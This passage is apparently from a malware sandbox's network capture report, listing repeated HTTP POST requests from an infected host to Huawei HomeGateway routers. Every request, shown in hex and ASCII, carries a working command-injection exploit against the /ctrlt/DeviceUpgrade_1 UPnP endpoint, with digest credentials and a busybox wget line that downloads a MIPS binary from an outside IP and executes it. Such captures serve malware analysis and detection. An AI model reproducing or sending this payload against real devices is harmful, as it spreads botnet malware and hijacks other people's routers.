HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Nov 19, 2023 09:17:31.582248926 CET	2958	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 39 33 2e 32 32 32 2e 39 36 2e 32 36 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 66 61 69 74 68 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 68 75 61 77 65 69 2e 72 65 70 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 193.222.96.26 -l /tmp/kh -r /faith.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh huawei.rep)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
43	156.253.35.140	37215	192.168.2.23	33530

Timestamp	kBytes transferred	Direction	Data
Nov 19, 2023 09:17:16.184478998 CET	2571	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 39 33 2e 32 32 32 2e 39 36 2e 32 36 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 66 61 69 74 68 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 68 75 61 77 65 69 2e 72 65 70 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 193.222.96.26 -l /tmp/kh -r /faith.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh huawei.rep)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Nov 19, 2023 09:17:17.856004000 CET	2602	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 39 33 2e 32 32 32 2e 39 36 2e 32 36 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 66 61 69 74 68 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 68 75 61 77 65 69 2e 72 65 70 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 193.222.96.26 -l /tmp/kh -r /faith.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh huawei.rep)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Nov 19, 2023 09:17:19.839835882 CET	2658	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 39 33 2e 32 32 32 2e 39 36 2e 32 36 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 66 61 69 74 68 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 68 75 61 77 65 69 2e 72 65 70 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 193.222.96.26 -l /tmp/kh -r /faith.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh huawei.rep)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Nov 19, 2023 09:17:23.903273106 CET	2769	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 39 33 2e 32 32 32 2e 39 36 2e 32 36 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 66 61 69 74 68 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 68 75 61 77 65 69 2e 72 65 70 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 193.222.96.26 -l /tmp/kh -r /faith.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh huawei.rep)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Nov 19, 2023 09:17:31.838114977 CET	2983	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 39 33 2e 32 32 32 2e 39 36 2e 32 36 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 66 61 69 74 68 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 68 75 61 77 65 69 2e 72 65 70 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 193.222.96.26 -l /tmp/kh -r /faith.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh huawei.rep)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
43	192.168.2.23	33530	156.253.35.140	37215

Timestamp	kBytes transferred	Direction	Data
Nov 19, 2023 09:17:16.184478998 CET	2571	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 39 33 2e 32 32 32 2e 39 36 2e 32 36 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 66 61 69 74 68 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 68 75 61 77 65 69 2e 72 65 70 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 193.222.96.26 -l /tmp/kh -r /faith.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh huawei.rep)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Nov 19, 2023 09:17:17.856004000 CET	2602	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 39 33 2e 32 32 32 2e 39 36 2e 32 36 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 66 61 69 74 68 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 68 75 61 77 65 69 2e 72 65 70 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 193.222.96.26 -l /tmp/kh -r /faith.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh huawei.rep)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Nov 19, 2023 09:17:19.839835882 CET	2658	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 39 33 2e 32 32 32 2e 39 36 2e 32 36 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 66 61 69 74 68 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 68 75 61 77 65 69 2e 72 65 70 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 193.222.96.26 -l /tmp/kh -r /faith.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh huawei.rep)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
